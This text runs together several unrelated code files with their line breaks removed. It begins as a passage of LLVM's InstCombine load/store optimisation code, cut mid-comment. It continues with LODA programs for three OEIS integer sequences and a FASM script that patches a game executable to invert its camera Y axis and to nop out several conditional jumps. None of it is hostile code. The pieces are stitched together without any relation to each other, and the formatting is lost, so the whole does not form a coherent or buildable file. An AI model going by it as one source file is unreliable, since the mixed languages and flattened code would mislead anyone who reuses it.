%arrayidx = getelementptr inbounds [1 x i32]* @f.a, i64 0, i64 %x // ... = load i32* %arrayidx, align 4 // Then we know that we can replace %x in the GEP with i64 0. // // FIXME: We could fold any GEP index to zero that would cause UB if it were // not zero. Currently, we only handle the first such index. Also, we could // also search through non-zero constant indices if we kept track of the // offsets those indices implied. static bool canReplaceGEPIdxWithZero(InstCombinerImpl &IC, GetElementPtrInst *GEPI, Instruction *MemI, unsigned &Idx) { if (GEPI->getNumOperands() < 2) return false; // Find the first non-zero index of a GEP. If all indices are zero, return // one past the last index. auto FirstNZIdx = [](const GetElementPtrInst *GEPI) { unsigned I = 1; for (unsigned IE = GEPI->getNumOperands(); I != IE; ++I) { Value *V = GEPI->getOperand(I); if (const ConstantInt *CI = dyn_cast<ConstantInt>(V)) if (CI->isZero()) continue; break; } return I; }; // Skip through initial 'zero' indices, and find the corresponding pointer // type. See if the next index is not a constant. Idx = FirstNZIdx(GEPI); if (Idx == GEPI->getNumOperands()) return false; if (isa<Constant>(GEPI->getOperand(Idx))) return false; SmallVector<Value *, 4> Ops(GEPI->idx_begin(), GEPI->idx_begin() + Idx); Type *SourceElementType = GEPI->getSourceElementType(); // Size information about scalable vectors is not available, so we cannot // deduce whether indexing at n is undefined behaviour or not. Bail out. if (isa<ScalableVectorType>(SourceElementType)) return false; Type *AllocTy = GetElementPtrInst::getIndexedType(SourceElementType, Ops); if (!AllocTy || !AllocTy->isSized()) return false; const DataLayout &DL = IC.getDataLayout(); uint64_t TyAllocSize = DL.getTypeAllocSize(AllocTy).getFixedSize(); // If there are more indices after the one we might replace with a zero, make // sure they're all non-negative. If any of them are negative, the overall // address being computed might be before the base address determined by the // first non-zero index. auto IsAllNonNegative = [&]() { for (unsigned i = Idx+1, e = GEPI->getNumOperands(); i != e; ++i) { KnownBits Known = IC.computeKnownBits(GEPI->getOperand(i), 0, MemI); if (Known.isNonNegative()) continue; return false; } return true; }; // FIXME: If the GEP is not inbounds, and there are extra indices after the // one we'll replace, those could cause the address computation to wrap // (rendering the IsAllNonNegative() check below insufficient). We can do // better, ignoring zero indices (and other indices we can prove small // enough not to wrap). if (Idx+1 != GEPI->getNumOperands() && !GEPI->isInBounds()) return false; // Note that isObjectSizeLessThanOrEq will return true only if the pointer is // also known to be dereferenceable. return isObjectSizeLessThanOrEq(GEPI->getOperand(0), TyAllocSize, DL) && IsAllNonNegative(); } // If we're indexing into an object with a variable index for the memory // access, but the object has only one element, we can assume that the index // will always be zero. If we replace the GEP, return it. template <typename T> static Instruction *replaceGEPIdxWithZero(InstCombinerImpl &IC, Value *Ptr, T &MemI) { if (GetElementPtrInst *GEPI = dyn_cast<GetElementPtrInst>(Ptr)) { unsigned Idx; if (canReplaceGEPIdxWithZero(IC, GEPI, &MemI, Idx)) { Instruction *NewGEPI = GEPI->clone(); NewGEPI->setOperand(Idx, ConstantInt::get(GEPI->getOperand(Idx)->getType(), 0)); NewGEPI->insertBefore(GEPI); MemI.setOperand(MemI.getPointerOperandIndex(), NewGEPI); return NewGEPI; } } return nullptr; } static bool canSimplifyNullStoreOrGEP(StoreInst &SI) { if (NullPointerIsDefined(SI.getFunction(), SI.getPointerAddressSpace())) return false; auto *Ptr = SI.getPointerOperand(); if (GetElementPtrInst *GEPI = dyn_cast<GetElementPtrInst>(Ptr)) Ptr = GEPI->getOperand(0); return (isa<ConstantPointerNull>(Ptr) && !NullPointerIsDefined(SI.getFunction(), SI.getPointerAddressSpace())); } static bool canSimplifyNullLoadOrGEP(LoadInst &LI, Value *Op) { if (GetElementPtrInst *GEPI = dyn_cast<GetElementPtrInst>(Op)) { const Value *GEPI0 = GEPI->getOperand(0); if (isa<ConstantPointerNull>(GEPI0) && !NullPointerIsDefined(LI.getFunction(), GEPI->getPointerAddressSpace())) return true; } if (isa<UndefValue>(Op) || (isa<ConstantPointerNull>(Op) && !NullPointerIsDefined(LI.getFunction(), LI.getPointerAddressSpace()))) return true; return false; } Instruction *InstCombinerImpl::visitLoadInst(LoadInst &LI) { Value *Op = LI.getOperand(0); // Try to canonicalize the loaded type. if (Instruction *Res = combineLoadToOperationType(*this, LI)) return Res; // Attempt to improve the alignment. Align KnownAlign = getOrEnforceKnownAlignment( Op, DL.getPrefTypeAlign(LI.getType()), DL, &LI, &AC, &DT); if (KnownAlign > LI.getAlign()) LI.setAlignment(KnownAlign); // Replace GEP indices if possible. if (Instruction *NewGEPI = replaceGEPIdxWithZero(*this, Op, LI)) { Worklist.push(NewGEPI); return &LI; } if (Instruction *Res = unpackLoadToAggregate(*this, LI)) return Res; // Do really simple store-to-load forwarding and load CSE, to catch cases // where there are several consecutive memory accesses to the same location, // separated by a few arithmetic operations. bool IsLoadCSE = false; if (Value *AvailableVal = FindAvailableLoadedValue(&LI, *AA, &IsLoadCSE)) { if (IsLoadCSE) combineMetadataForCSE(cast<LoadInst>(AvailableVal), &LI, false); return replaceInstUsesWith( LI, Builder.CreateBitOrPointerCast(AvailableVal, LI.getType(), LI.getName() + ".cast")); } // None of the following transforms are legal for volatile/ordered atomic // loads. Most of them do apply for unordered atomics. if (!LI.isUnordered()) return nullptr; // load(gep null, ...) -> unreachable // load null/undef -> unreachable // TODO: Consider a target hook for valid address spaces for this xforms. if (canSimplifyNullLoadOrGEP(LI, Op)) { // Insert a new store to null instruction before the load to indicate // that this code is not reachable. We do this instead of inserting // an unreachable instruction directly because we cannot modify the // CFG. StoreInst *SI = new StoreInst(PoisonValue::get(LI.getType()), Constant::getNullValue(Op->getType()), &LI); SI->setDebugLoc(LI.getDebugLoc()); return replaceInstUsesWith(LI, PoisonValue::get(LI.getType())); } if (Op->hasOneUse()) { // Change select and PHI nodes to select values instead of addresses: this // helps alias analysis out a lot, allows many others simplifications, and // exposes redundancy in the code. // // Note that we cannot do the transformation unless we know that the // introduced loads cannot trap! Something like this is valid as long as // the condition is always false: load (select bool %C, int* null, int* %G), // but it would not be valid if we transformed it to load from null // unconditionally. // if (SelectInst *SI = dyn_cast<SelectInst>(Op)) { // load (select (Cond, &V1, &V2)) --> select(Cond, load &V1, load &V2). Align Alignment = LI.getAlign(); if (isSafeToLoadUnconditionally(SI->getOperand(1), LI.getType(), Alignment, DL, SI) && isSafeToLoadUnconditionally(SI->getOperand(2), LI.getType(), Alignment, DL, SI)) { LoadInst *V1 = Builder.CreateLoad(LI.getType(), SI->getOperand(1), SI->getOperand(1)->getName() + ".val"); LoadInst *V2 = Builder.CreateLoad(LI.getType(), SI->getOperand(2), SI->getOperand(2)->getName() + ".val"); assert(LI.isUnordered() && "implied by above"); V1->setAlignment(Alignment); V1->setAtomic(LI.getOrdering(), LI.getSyncScopeID()); V2->setAlignment(Alignment); V2->setAtomic(LI.getOrdering(), LI.getSyncScopeID()); return SelectInst::Create(SI->getCondition(), V1, V2); } // load (select (cond, null, P)) -> load P if (isa<ConstantPointerNull>(SI->getOperand(1)) && !NullPointerIsDefined(SI->getFunction(), LI.getPointerAddressSpace())) return replaceOperand(LI, 0, SI->getOperand(2)); // load (select (cond, P, null)) -> load P if (isa<ConstantPointerNull>(SI->getOperand(2)) && !NullPointerIsDefined(SI->getFunction(), LI.getPointerAddressSpace())) return replaceOperand(LI, 0, SI->getOperand(1)); } } return nullptr; } /// Look for extractelement/insertvalue sequence that acts like a bitcast. /// /// \returns underlying value that was "cast", or nullptr otherwise. /// /// For example, if we have: /// /// %E0 = extractelement <2 x double> %U, i32 0 /// %V0 = insertvalue [2 x double] undef, double %E0, 0 /// %E1 = extractelement <2 x double> %U, i32 1 /// %V1 = insertvalue [2 x double] %V0, double %E1, 1 /// /// and the layout of a <2 x double> is isomorphic to a [2 x double], /// then %V1 can be safely approximated by a conceptual "bitcast" of %U. /// Note that %U may contain non-undef values where %V1 has undef. static Value *likeBitCastFromVector(InstCombinerImpl &IC, Value *V) { Value *U = nullptr; while (auto *IV = dyn_cast<InsertValueInst>(V)) { auto *E = dyn_cast<ExtractElementInst>(IV->getInsertedValueOperand()); if (!E) return nullptr; auto *W = E->getVectorOperand(); if (!U) U = W; else if (U != W) return nullptr; auto *CI = dyn_cast<ConstantInt>(E->getIndexOperand()); if (!CI || IV->getNumIndices() != 1 || CI->getZExtValue() != *IV->idx_begin()) return nullptr; V = IV->getAggregateOperand(); } if (!match(V, m_Undef()) || !U) return nullptr; auto *UT = cast<VectorType>(U->getType()); auto *VT = V->getType(); // Check that types UT and VT are bitwise isomorphic. const auto &DL = IC.getDataLayout(); if (DL.getTypeStoreSizeInBits(UT) != DL.getTypeStoreSizeInBits(VT)) { return nullptr; } if (auto *AT = dyn_cast<ArrayType>(VT)) { if (AT->getNumElements() != cast<FixedVectorType>(UT)->getNumElements()) return nullptr; } else { auto *ST = cast<StructType>(VT); if (ST->getNumElements() != cast<FixedVectorType>(UT)->getNumElements()) return nullptr; for (const auto *EltT : ST->elements()) { if (EltT != UT->getElementType()) return nullptr; } } return U; } /// Combine stores to match the type of value being stored. /// /// The core idea here is that the memory does not have any intrinsic type and /// where we can we should match the type of a store to the type of value being /// stored. /// /// However, this routine must never change the width of a store or the number of /// stores as that would introduce a semantic change. This combine is expected to /// be a semantic no-op which just allows stores to more closely model the types /// of their incoming values. /// /// Currently, we also refuse to change the precise type used for an atomic or /// volatile store. This is debatable, and might be reasonable to change later. /// However, it is risky in case some backend or other part of LLVM is relying /// on the exact type stored to select appropriate atomic operations. /// /// \returns true if the store was successfully combined away. This indicates /// the caller must erase the store instruction. We have to let the caller erase /// the store instruction as otherwise there is no way to signal whether it was /// combined or not: IC.EraseInstFromFunction returns a null pointer. static bool combineStoreToValueType(InstCombinerImpl &IC, StoreInst &SI) { // FIXME: We could probably with some care handle both volatile and ordered // atomic stores here but it isn't clear that this is important. if (!SI.isUnordered()) return false; // swifterror values can't be bitcasted. if (SI.getPointerOperand()->isSwiftError()) return false; Value *V = SI.getValueOperand(); // Fold away bit casts of the stored value by storing the original type. if (auto *BC = dyn_cast<BitCastInst>(V)) { assert(!BC->getType()->isX86_AMXTy() && "store to x86_amx* should not happen!"); V = BC->getOperand(0); // Don't transform when the type is x86_amx, it makes the pass that lower // x86_amx type happy. if (V->getType()->isX86_AMXTy()) return false; if (!SI.isAtomic() || isSupportedAtomicType(V->getType())) { combineStoreToNewValue(IC, SI, V); return true; } } if (Value *U = likeBitCastFromVector(IC, V)) if (!SI.isAtomic() || isSupportedAtomicType(U->getType())) { combineStoreToNewValue(IC, SI, U); return true; } // FIXME: We should also canonicalize stores of vectors when their elements // are cast to other types. return false; } static bool unpackStoreToAggregate(InstCombinerImpl &IC, StoreInst &SI) { // FIXME: We could probably with some care handle both volatile and atomic // stores here but it isn't clear that this is important. if (!SI.isSimple()) return false; Value *V = SI.getValueOperand(); Type *T = V->getType(); if (!T->isAggregateType()) return false; if (auto *ST = dyn_cast<StructType>(T)) { // If the struct only have one element, we unpack. unsigned Count = ST->getNumElements(); if (Count == 1) { V = IC.Builder.CreateExtractValue(V, 0); combineStoreToNewValue(IC, SI, V); return true; } // We don't want to break loads with padding here as we'd loose // the knowledge that padding exists for the rest of the pipeline. const DataLayout &DL = IC.getDataLayout(); auto *SL = DL.getStructLayout(ST); if (SL->hasPadding()) return false; const auto Align = SI.getAlign(); SmallString<16> EltName = V->getName(); EltName += ".elt"; auto *Addr = SI.getPointerOperand(); SmallString<16> AddrName = Addr->getName(); AddrName += ".repack"; auto *IdxType = Type::getInt32Ty(ST->getContext()); auto *Zero = ConstantInt::get(IdxType, 0); for (unsigned i = 0; i < Count; i++) { Value *Indices[2] = { Zero, ConstantInt::get(IdxType, i), }; auto *Ptr = IC.Builder.CreateInBoundsGEP(ST, Addr, makeArrayRef(Indices), AddrName); auto *Val = IC.Builder.CreateExtractValue(V, i, EltName); auto EltAlign = commonAlignment(Align, SL->getElementOffset(i)); llvm::Instruction *NS = IC.Builder.CreateAlignedStore(Val, Ptr, EltAlign); NS->setAAMetadata(SI.getAAMetadata()); } return true; } if (auto *AT = dyn_cast<ArrayType>(T)) { // If the array only have one element, we unpack. auto NumElements = AT->getNumElements(); if (NumElements == 1) { V = IC.Builder.CreateExtractValue(V, 0); combineStoreToNewValue(IC, SI, V); return true; } // Bail out if the array is too large. Ideally we would like to optimize // arrays of arbitrary size but this has a terrible impact on compile time. // The threshold here is chosen arbitrarily, maybe needs a little bit of // tuning. if (NumElements > IC.MaxArraySizeForCombine) return false; const DataLayout &DL = IC.getDataLayout(); auto EltSize = DL.getTypeAllocSize(AT->getElementType()); const auto Align = SI.getAlign(); SmallString<16> EltName = V->getName(); EltName += ".elt"; auto *Addr = SI.getPointerOperand(); SmallString<16> AddrName = Addr->getName(); AddrName += ".repack"; auto *IdxType = Type::getInt64Ty(T->getContext()); auto *Zero = ConstantInt::get(IdxType, 0); uint64_t Offset = 0; for (uint64_t i = 0; i < NumElements; i++) { Value *Indices[2] = { Zero, ConstantInt::get(IdxType, i), }; auto *Ptr = IC.Builder.CreateInBoundsGEP(AT, Addr, makeArrayRef(Indices), AddrName); auto *Val = IC.Builder.CreateExtractValue(V, i, EltName); auto EltAlign = commonAlignment(Align, Offset); Instruction *NS = IC.Builder.CreateAlignedStore(Val, Ptr, EltAlign); NS->setAAMetadata(SI.getAAMetadata()); Offset += EltSize; } return true; } return false; } /// equivalentAddressValues - Test if A and B will obviously have the same /// value. This includes recognizing that %t0 and %t1 will have the same /// value in code like this: /// %t0 = getelementptr \@a, 0, 3 /// store i32 0, i32* %t0 /// %t1 = getelementptr \@a, 0, 3 /// %t2 = load i32* %t1 /// static bool equivalentAddressValues(Value *A, Value *B) { // Test if the values are trivially equivalent. if (A == B) return true; // Test if the values come form identical arithmetic instructions. // This uses isIdenticalToWhenDefined instead of isIdenticalTo because // its only used to compare two uses within the same basic block, which // means that they'll always either have the same value or one of them // will have an undefined value. if (isa<BinaryOperator>(A) || isa<CastInst>(A) || isa<PHINode>(A) || isa<GetElementPtrInst>(A)) if (Instruction *BI = dyn_cast<Instruction>(B)) if (cast<Instruction>(A)->isIdenticalToWhenDefined(BI)) return true; // Otherwise they may not be equivalent. return false; } /// Converts store (bitcast (load (bitcast (select ...)))) to /// store (load (select ...)), where select is minmax: /// select ((cmp load V1, load V2), V1, V2). static bool removeBitcastsFromLoadStoreOnMinMax(InstCombinerImpl &IC, StoreInst &SI) { // bitcast? if (!match(SI.getPointerOperand(), m_BitCast(m_Value()))) return false; // load? integer? Value *LoadAddr; if (!match(SI.getValueOperand(), m_Load(m_BitCast(m_Value(LoadAddr))))) return false; auto *LI = cast<LoadInst>(SI.getValueOperand()); if (!LI->getType()->isIntegerTy()) return false; Type *CmpLoadTy; if (!isMinMaxWithLoads(LoadAddr, CmpLoadTy)) return false; // Make sure the type would actually change. // This condition can be hit with chains of bitcasts. if (LI->getType() == CmpLoadTy) return false; // Make sure we're not changing the size of the load/store. const auto &DL = IC.getDataLayout(); if (DL.getTypeStoreSizeInBits(LI->getType()) != DL.getTypeStoreSizeInBits(CmpLoadTy)) return false; if (!all_of(LI->users(), [LI, LoadAddr](User *U) { auto *SI = dyn_cast<StoreInst>(U); return SI && SI->getPointerOperand() != LI && InstCombiner::peekThroughBitcast(SI->getPointerOperand()) != LoadAddr && !SI->getPointerOperand()->isSwiftError(); })) return false; IC.Builder.SetInsertPoint(LI); LoadInst *NewLI = IC.combineLoadToNewType(*LI, CmpLoadTy); // Replace all the stores with stores of the newly loaded value. for (auto *UI : LI->users()) { auto *USI = cast<StoreInst>(UI); IC.Builder.SetInsertPoint(USI); combineStoreToNewValue(IC, *USI, NewLI); } IC.replaceInstUsesWith(*LI, PoisonValue::get(LI->getType())); IC.eraseInstFromFunction(*LI); return true; } Instruction *InstCombinerImpl::visitStoreInst(StoreInst &SI) { Value *Val = SI.getOperand(0); Value *Ptr = SI.getOperand(1); // Try to canonicalize the stored type. if (combineStoreToValueType(*this, SI)) return eraseInstFromFunction(SI); // Attempt to improve the alignment. const Align KnownAlign = getOrEnforceKnownAlignment( Ptr, DL.getPrefTypeAlign(Val->getType()), DL, &SI, &AC, &DT); if (KnownAlign > SI.getAlign()) SI.setAlignment(KnownAlign); // Try to canonicalize the stored type. if (unpackStoreToAggregate(*this, SI)) return eraseInstFromFunction(SI); if (removeBitcastsFromLoadStoreOnMinMax(*this, SI)) return eraseInstFromFunction(SI); // Replace GEP indices if possible. if (Instruction *NewGEPI = replaceGEPIdxWithZero(*this, Ptr, SI)) { Worklist.push(NewGEPI); return &SI; } // Don't hack volatile/ordered stores. // FIXME: Some bits are legal for ordered atomic stores; needs refactoring. if (!SI.isUnordered()) return nullptr; // If the RHS is an alloca with a single use, zapify the store, making the // alloca dead. if (Ptr->hasOneUse()) { if (isa<AllocaInst>(Ptr)) return eraseInstFromFunction(SI); if (GetElementPtrInst *GEP = dyn_cast<GetElementPtrInst>(Ptr)) { if (isa<AllocaInst>(GEP->getOperand(0))) { if (GEP->getOperand(0)->hasOneUse()) return eraseInstFromFunction(SI); } } } // If we have a store to a location which is known constant, we can conclude // that the store must be storing the constant value (else the memory // wouldn't be constant), and this must be a noop. if (AA->pointsToConstantMemory(Ptr)) return eraseInstFromFunction(SI); // Do really simple DSE, to catch cases where there are several consecutive // stores to the same location, separated by a few arithmetic operations. This // situation often occurs with bitfield accesses. BasicBlock::iterator BBI(SI); for (unsigned ScanInsts = 6; BBI != SI.getParent()->begin() && ScanInsts; --ScanInsts) { --BBI; // Don't count debug info directives, lest they affect codegen, // and we skip pointer-to-pointer bitcasts, which are NOPs. if (BBI->isDebugOrPseudoInst() || (isa<BitCastInst>(BBI) && BBI->getType()->isPointerTy())) { ScanInsts++; continue; } if (StoreInst *PrevSI = dyn_cast<StoreInst>(BBI)) { // Prev store isn't volatile, and stores to the same location? if (PrevSI->isUnordered() && equivalentAddressValues(PrevSI->getOperand(1), SI.getOperand(1)) && PrevSI->getValueOperand()->getType() == SI.getValueOperand()->getType()) { ++NumDeadStore; // Manually add back the original store to the worklist now, so it will // be processed after the operands of the removed store, as this may // expose additional DSE opportunities. Worklist.push(&SI); eraseInstFromFunction(*PrevSI); return nullptr; } break; } // If this is a load, we have to stop. However, if the loaded value is from // the pointer we're loading and is producing the pointer we're storing, // then *this* store is dead (X = load P; store X -> P). if (LoadInst *LI = dyn_cast<LoadInst>(BBI)) { if (LI == Val && equivalentAddressValues(LI->getOperand(0), Ptr)) { assert(SI.isUnordered() && "can't eliminate ordering operation"); return eraseInstFromFunction(SI); } // Otherwise, this is a load from some other location. Stores before it // may not be dead. break; } // Don't skip over loads, throws or things that can modify memory. if (BBI->mayWriteToMemory() || BBI->mayReadFromMemory() || BBI->mayThrow()) break; } // store X, null -> turns into 'unreachable' in SimplifyCFG // store X, GEP(null, Y) -> turns into 'unreachable' in SimplifyCFG if (canSimplifyNullStoreOrGEP(SI)) { if (!isa<PoisonValue>(Val)) return replaceOperand(SI, 0, PoisonValue::get(Val->getType())); return nullptr; // Do not modify these! } // store undef, Ptr -> noop if (isa<UndefValue>(Val)) return eraseInstFromFunction(SI); return nullptr; } /// Try to transform: /// if () { *P = v1; } else { *P = v2 } /// or: /// *P = v1; if () { *P = v2; } /// into a phi node with a store in the successor. bool InstCombinerImpl::mergeStoreIntoSuccessor(StoreInst &SI) { if (!SI.isUnordered()) return false; // This code has not been audited for volatile/ordered case. // Check if the successor block has exactly 2 incoming edges. BasicBlock *StoreBB = SI.getParent(); BasicBlock *DestBB = StoreBB->getTerminator()->getSuccessor(0); if (!DestBB->hasNPredecessors(2)) return false; // Capture the other block (the block that doesn't contain our store). pred_iterator PredIter = pred_begin(DestBB); if (*PredIter == StoreBB) ++PredIter; BasicBlock *OtherBB = *PredIter; // Bail out if all of the relevant blocks aren't distinct. This can happen, // for example, if SI is in an infinite loop. if (StoreBB == DestBB || OtherBB == DestBB) return false; // Verify that the other block ends in a branch and is not otherwise empty. BasicBlock::iterator BBI(OtherBB->getTerminator()); BranchInst *OtherBr = dyn_cast<BranchInst>(BBI); if (!OtherBr || BBI == OtherBB->begin()) return false; // If the other block ends in an unconditional branch, check for the 'if then // else' case. There is an instruction before the branch. StoreInst *OtherStore = nullptr; if (OtherBr->isUnconditional()) { --BBI; // Skip over debugging info and pseudo probes. while (BBI->isDebugOrPseudoInst() || (isa<BitCastInst>(BBI) && BBI->getType()->isPointerTy())) { if (BBI==OtherBB->begin()) return false; --BBI; } // If this isn't a store, isn't a store to the same location, or is not the // right kind of store, bail out. OtherStore = dyn_cast<StoreInst>(BBI); if (!OtherStore || OtherStore->getOperand(1) != SI.getOperand(1) || !SI.isSameOperationAs(OtherStore)) return false; } else { // Otherwise, the other block ended with a conditional branch. If one of the // destinations is StoreBB, then we have the if/then case. if (OtherBr->getSuccessor(0) != StoreBB && OtherBr->getSuccessor(1) != StoreBB) return false; // Okay, we know that OtherBr now goes to Dest and StoreBB, so this is an // if/then triangle. See if there is a store to the same ptr as SI that // lives in OtherBB. for (;; --BBI) { // Check to see if we find the matching store. if ((OtherStore = dyn_cast<StoreInst>(BBI))) { if (OtherStore->getOperand(1) != SI.getOperand(1) || !SI.isSameOperationAs(OtherStore)) return false; break; } // If we find something that may be using or overwriting the stored // value, or if we run out of instructions, we can't do the transform. if (BBI->mayReadFromMemory() || BBI->mayThrow() || BBI->mayWriteToMemory() || BBI == OtherBB->begin()) return false; } // In order to eliminate the store in OtherBr, we have to make sure nothing // reads or overwrites the stored value in StoreBB. for (BasicBlock::iterator I = StoreBB->begin(); &*I != &SI; ++I) { // FIXME: This should really be AA driven. if (I->mayReadFromMemory() || I->mayThrow() || I->mayWriteToMemory()) return false; } } // Insert a PHI node now if we need it. Value *MergedVal = OtherStore->getOperand(0); // The debug locations of the original instructions might differ. Merge them. DebugLoc MergedLoc = DILocation::getMergedLocation(SI.getDebugLoc(), OtherStore->getDebugLoc()); if (MergedVal != SI.getOperand(0)) { PHINode *PN = PHINode::Create(MergedVal->getType(), 2, "storemerge"); PN->addIncoming(SI.getOperand(0), SI.getParent()); PN->addIncoming(OtherStore->getOperand(0), OtherBB); MergedVal = InsertNewInstBefore(PN, DestBB->front()); PN->setDebugLoc(MergedLoc); } // Advance to a place where it is safe to insert the new store and insert it. BBI = DestBB->getFirstInsertionPt(); StoreInst *NewSI = new StoreInst(MergedVal, SI.getOperand(1), SI.isVolatile(), SI.getAlign(), SI.getOrdering(), SI.getSyncScopeID()); InsertNewInstBefore(NewSI, *BBI); NewSI->setDebugLoc(MergedLoc); // If the two stores had AA tags, merge them. AAMDNodes AATags = SI.getAAMetadata(); if (AATags) NewSI->setAAMetadata(AATags.merge(OtherStore->getAAMetadata())); // Nuke the old stores. eraseInstFromFunction(SI); eraseInstFromFunction(*OtherStore); return true; }
; A081125: a(n) = n! / floor(n/2)!. ; 1,1,2,6,12,60,120,840,1680,15120,30240,332640,665280,8648640,17297280,259459200,518918400,8821612800,17643225600,335221286400,670442572800,14079294028800,28158588057600,647647525324800,1295295050649600,32382376266240000,64764752532480000,1748648318376960000,3497296636753920000,101421602465863680000,202843204931727360000,6288139352883548160000,12576278705767096320000,415017197290314178560000,830034394580628357120000,29051203810321992499200000,58102407620643984998400000,2149789081963827444940800000,4299578163927654889881600000,167683548393178540705382400000,335367096786357081410764800000,13750050968240640337841356800000,27500101936481280675682713600000,1182504383268695069054356684800000,2365008766537390138108713369600000,106425394494182556214892101632000000,212850788988365112429784203264000000 mov $1,3 mov $2,$0 lpb $0 trn $0,2 mul $1,$2 sub $2,1 lpe div $1,3 mov $0,$1
; A233543: Table T(n,m) = m! read by rows. ; 1,1,1,1,1,2,1,1,2,6,1,1,2,6,24,1,1,2,6,24,120,1,1,2,6,24,120,720,1,1,2,6,24,120,720,5040,1,1,2,6,24,120,720,5040,40320,1,1,2,6,24,120,720,5040,40320,362880 lpb $0,1 mov $1,$0 add $2,1 sub $0,$2 trn $0,1 lpe sub $1,1 fac $1 trn $1,1 add $1,1
use32 format binary as 'exe' include 'patching.inc' ; Grom PE's FASM patching macros ; === Constants === text_physical_offset = 00001000h patch_physical_offset = 0076B000h data_physical_offset = 00752000h IMAGE_BASE = 00400000h PATCH_ORG = 00D4F000h - patch_physical_offset TEXT_ORG = 00401000h - text_physical_offset DATA_ORG = 00B52000h - data_physical_offset IMAGE_SIZE = 094F000h ; Size of image of the original executable ; === Game specific constants === label dword_B7AD38 dword at 00B7AD38h label sub_4A4FD0 dword at 004A4FD0h label sub_494060 dword at 00494060h ; === Patching! === patchfile 'BGE.$$$' ; Name of the original (unpatched) executable ;patchsection IMAGE_BASE ; === PE header === ;patchat 126h ; Increase number of sections ; dw 5 ;patchat 170h ; Increase size of image ; dd IMAGE_SIZE+(patch_section_size+0FFFh)/1000h*1000h ;patchat 2B8h ; Create patch section: ; dd '.pat','ch' ; Name ; dd patch_section_size ; Virtual size ; dd IMAGE_SIZE ; RVA ; dd patch_physical_size ; Physical size ; dd patch_physical_offset ; Physical offset ; dd 0,0,0 ; Unused ; dd 0E00000E0h ; Attributes ; ****************************************************************************** patchsection TEXT_ORG ; === .text section start === ; ****************************************************************************** patchat 00024642h mov [dword_B7AD38], pathway_walking_running ; Walking/running ;patchat 0002466Bh ; mov [dword_B7AD38], pathway_picture_camera ; Jade's photographic camera (we don't want to touch that) ;patchat 00024699h ; mov [dword_B7AD38], pathway_menu ; Menu (we don't want to touch that) patchat 000246C6h mov [dword_B7AD38], pathway_boat ; Boat patchat 000246DCh mov [dword_B7AD38], pathway_spaceship_beluga ; Spaceship Beluga ;patchat 000246F2h ; mov [dword_B7AD38], pathway_unknown ; Unidentified ; ------------------------------------------------------------------------------ patchat 0015E082h ; jnz -> nop nop nop patchat 002AFF60h ; jnz -> nop nop nop patchat 0032A7DAh ; jnz -> nop ;- nop nop patchat 003D74A5h ; jnz -> nop nop nop patchat 003D7538h ; jnz -> nop nop nop patchat 003D842Bh ; jnz -> nop nop nop patchat 003DA799h ; jnz -> nop nop nop patchat 003DCDEBh ; jnz -> nop nop nop ; ------------------------------------------------------------------------------ ; We have some nice extra space at the end of the .text section which we're ; going to use. It will save us the trouble of having to create an additional ; section to hold the code of the patch and as a bonus the patched executable ; will be the same size as the original unpatched one. ; ------------------------------------------------------------------------------ patchat 00736C9Fh pathway_walking_running: ; Walking/running push 423220h ; Push return address (the original address of the function being hooked) onto the stack jmp main_body ;pathway_picture_camera: ; Jade's photographic camera (we don't want to touch that) ; push 4235B0h ; Push return address (the original address of the function being hooked) onto the stack ; jmp main_body ;pathway_menu: ; Menu (we don't want to touch that) ; push 423EF0h ; Push return address (the original address of the function being hooked) onto the stack ; jmp main_body pathway_boat: ; Boat push 423850h ; Push return address (the original address of the function being hooked) onto the stack jmp main_body pathway_spaceship_beluga: ; Spaceship Beluga push 423C60h ; Push return address (the original address of the function being hooked) onto the stack jmp main_body ;pathway_unknown: ; *** Unknown, further investigation is required *** ; push 424360h ; Push return address (the original address of the function being hooked) onto the stack main_body: push ecx ; ECX is required by the original function so it must be preserved push edx ; The same goes for EDX push eax ; Reserve space on the stack for a local variable mov ecx, 71003FF9h call sub_4A4FD0 push 1DE8h mov edx, eax lea ecx, [esp+4] ; ECX contains the effective address of the newly created local variable call sub_494060 pop ecx ; Get pointer to the internal flags in ECX mov eax, [ecx] ; Load internal flags into EAX and eax, 2 ; Isolate camera mode bit flag (0: normal, 1: reversed) shl eax, 30 ; EAX = 80000000h if camera mode flag is set, otherwise EAX = 0 pop edx ; Restore EDX pop ecx ; Restore ECX sub [edx+4], eax ; If camera mode = reversed, negate (= invert) the Y coord retn ; Return control to the original function ; ****************************************************************************** patchsection DATA_ORG ; === .data section start === ; ****************************************************************************** ; ... ; ... ; ... ; ****************************************************************************** patchsection PATCH_ORG ; === Patch section start === ; ****************************************************************************** patchat patch_physical_offset patch_section_start: ; ... ; ... ; ... patch_section_end: patch_physical_end: patch_physical_size = patch_physical_end - patch_section_start patch_section_size = patch_section_end - patch_section_start patchend
; A226782: If n=0 (mod 2) then a(n)=0, otherwise a(n)=4^(-1) in Z/nZ*. ; 0,0,1,0,4,0,2,0,7,0,3,0,10,0,4,0,13,0,5,0,16,0,6,0,19,0,7,0,22,0,8,0,25,0,9,0,28,0,10,0,31,0,11,0,34,0,12,0,37,0,13,0,40,0,14,0,43,0,15,0,46,0,16,0,49,0,17,0,52,0,18,0,55,0,19,0,58,0,20,0,61,0,21,0,64,0,22,0,67,0,23,0,70,0,24,0,73,0,25,0,76,0,26,0,79,0,27,0,82,0,28,0,85,0,29,0,88,0,30,0,91,0,31,0,94,0,32,0,97,0,33,0,100,0,34,0,103,0,35,0,106,0,36,0,109,0,37,0,112,0,38,0,115,0,39,0,118,0,40,0,121,0,41,0,124,0,42,0,127,0,43,0,130,0,44,0,133,0,45,0,136,0,46,0,139,0,47,0,142,0,48,0,145,0,49,0,148,0,50,0,151,0,51,0,154,0,52,0,157,0,53,0,160,0,54,0,163,0,55,0,166,0,56,0,169,0,57,0,172,0,58,0,175,0,59,0,178,0,60,0,181,0,61,0,184,0,62,0,187,0 mov $5,$0 mov $7,2 lpb $7 sub $7,1 add $0,$7 sub $0,1 mov $3,$0 mov $6,$0 add $6,2 div $6,2 add $3,$6 mov $4,$6 trn $6,2 lpb $6 add $3,$4 trn $6,2 lpe mov $2,$7 mov $6,$3 lpb $2 mov $1,$6 sub $2,1 lpe lpe lpb $5 sub $1,$6 mov $5,0 lpe sub $1,1
